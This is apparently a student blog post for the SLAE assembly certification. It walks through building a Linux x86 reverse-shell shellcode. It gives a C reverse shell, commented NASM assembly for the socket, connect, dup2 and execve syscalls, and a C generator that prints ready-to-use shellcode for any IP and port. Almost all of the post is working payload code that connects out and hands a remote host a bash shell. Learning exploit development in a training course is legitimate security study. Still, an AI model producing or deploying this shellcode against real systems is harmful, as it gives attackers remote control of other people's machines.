This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1290
Assignment:
The assignment consists in creating a reverse shell shellcode which reverses the connection to a specific IP and port and execute a shell on connection. The IP and port should also be easily configurable.
Following a C program that shows how a reverse shell works:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> //ip to connect to #define IP "127.0.0.1" //port to connect to #define PORT 1234 int main(int argc,char *argv[]){ //Descriptors int sockfd; //Addresses struct sockaddr_in server_addr; //Sock file descriptor sockfd = socket(PF_INET,SOCK_STREAM,0); //Configuring socket server_addr.sin_family = AF_INET; server_addr.sin_port = htons(PORT); server_addr.sin_addr.s_addr = inet_addr(IP); memset(&(server_addr.sin_zero),'\0',8); //Connect socket connect(sockfd,(struct sockaddr *)&server_addr,sizeof(struct sockaddr)); //Copy file descriptors dup2(sockfd,2); dup2(sockfd,1); dup2(sockfd,0); execve("/bin/bash",NULL,NULL); close(sockfd); return(0); }
To test the example, we need to listen on a specific port and then run the reverse shell.
As in the previous assignment, we need to work on this to “convert” the high-level instructions in assembly. Most parts are the same, so we are going to focus on the differences. They are the sockaddr_in structure configuration and the connect syscall.
Regarding the sockaddr_in configuration, here we need to specify both the IP address and the port. This could be problematic when there are zeros in the IP, thus I decided to divide the IP setting in four different instructions; one for each byte. When a zero is encountered that byte is not set, since the IP dword has been already zeroed pushing a zero-register onto the stack. The second difference is that connect syscall is used instead of bind ( Here I am setting the IP 127.2.2.1 to describe the four instructions).
;******connect syscall****** ;syscall n. xor eax,eax mov ax,362 ;socket descriptor mov ebx,[esp] ;creating sockaddr and pushing onto the stack ;pushing address 127.0.0.1 push edx mov byte [esp],0x7f mov byte [esp+1],0x02 mov byte [esp+2],0x02 mov byte [esp+3],0x01 ;pushing port push word 0xd204 ;pushing domain push word 0x2 mov ecx,esp ;size mov dl,16 int 0x80
The final assembly program would look like this ( Setting the IP 127.0.0.1)
global _start section .text _start: ;******socket syscall****** ; zeroing register xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx ;syscall n. mov ax,359 ;domain mov bl,2 ;type mov cl,1 ;protocol is already 0 int 0x80 ;socket on the stack push eax ;******connect syscall****** ;syscall n. xor eax,eax mov ax,362 ;socket descriptor mov ebx,[esp] ;creating sockaddr and pushing onto the stack ;pushing address 127.0.0.1 push edx mov byte [esp],0x7f mov byte [esp+3],0x01 ;pushing port push word 0xd204 ;pushing domain push word 0x2 mov ecx,esp ;size mov dl,16 int 0x80 ;******dup2 syscall****** xor eax,eax xor ecx,ecx ;file descriptor mov cl,2 ;syscall n. dup: mov al,63 int 0x80 dec cl jns dup ;******execve syscall****** xor eax,eax push eax push 0x68736162 push 0x2f6e6962 push 0x2f2f2f2f ;filename mov ebx,esp push eax ;argc mov edx,esp push ebx ;argv mov ecx,esp ;syscall n. mov al,11 int 0x80
Compiling and linking the nasm file, we can obtain the shellcode with objdump.
We can use the shellcode template from the last assignment to test the shellcode.
Last piece, I decided to create a C program to generate the proper reverse shell shellcode where IP and port are configurable through command line.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <netinet/in.h> #define REV(X) ((X << 24) | (( X & 0xff00 ) << 8) | (( X >> 8) & 0xff00 ) | ( X >> 24 )) int main(int argc,char *argv[]){ if(argc == 3){ unsigned int port; unsigned int ip_n[4]; char ips1[18] = ""; char ips2[22] = ""; char ips3[22] = ""; char ips4[22] = ""; struct in_addr addr; char ip[15]; char s[8]; char s1[4]; char s2[4]; if(strlen(argv[1]) > 15){ printf("Check IP\n"); exit(0); } sscanf(argv[1],"%s",ip); sscanf(argv[2],"%d",&port); printf("IP: %s\n",ip); printf("Port number: %d\n",port); inet_aton(ip,&addr); for(int i = 0;i < 32;i+=8){ ip_n[i/8] = (addr.s_addr >> i) % 256; } port = REV(port); sprintf(s,"%02x",port); sprintf(s1,"%.2s",s); sprintf(s2,"%.2s",s+2); if(ip_n[0] != 0){ sprintf(ips1,"\\xc6\\x04\\x24\\x%02x",ip_n[0]); } if(ip_n[1] != 0){ sprintf(ips2,"\\xc6\\x44\\x24\\x01\\x%02x",ip_n[1]); } if(ip_n[2] != 0){ sprintf(ips3,"\\xc6\\x44\\x24\\x02\\x%02x",ip_n[2]); } if(ip_n[3] != 0){ sprintf(ips4,"\\xc6\\x44\\x24\\x03\\x%02x",ip_n[3]); } printf("IP bytes:\n%s\n%s\n%s\n%s\n",ips1,ips2,ips3,ips4); printf("Port bytes:%s%s\n",s1,s2); printf("Shellcode:\n"); printf("\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x50\\x31\\xc0\\x66\\xb8\\x6a\\x01\\x8b\\x1c\\x24\\x52%s%s%s%s\\x66\\x68\\x%s\\x%s\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\xfe\\xc9\\x79\\xf8\\x31\\xc0\\x50\\x68\\x62\\x61\\x73\\x68\\x68\\x62\\x69\\x6e\\x2f\\x68\\x2f\\x2f\\x2f\\x2f\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\n",ips1,ips2,ips3,ips4,s2,s1); } else if(argc > 3 || argc < 3){ printf("Specify the right number of arguments\n"); } }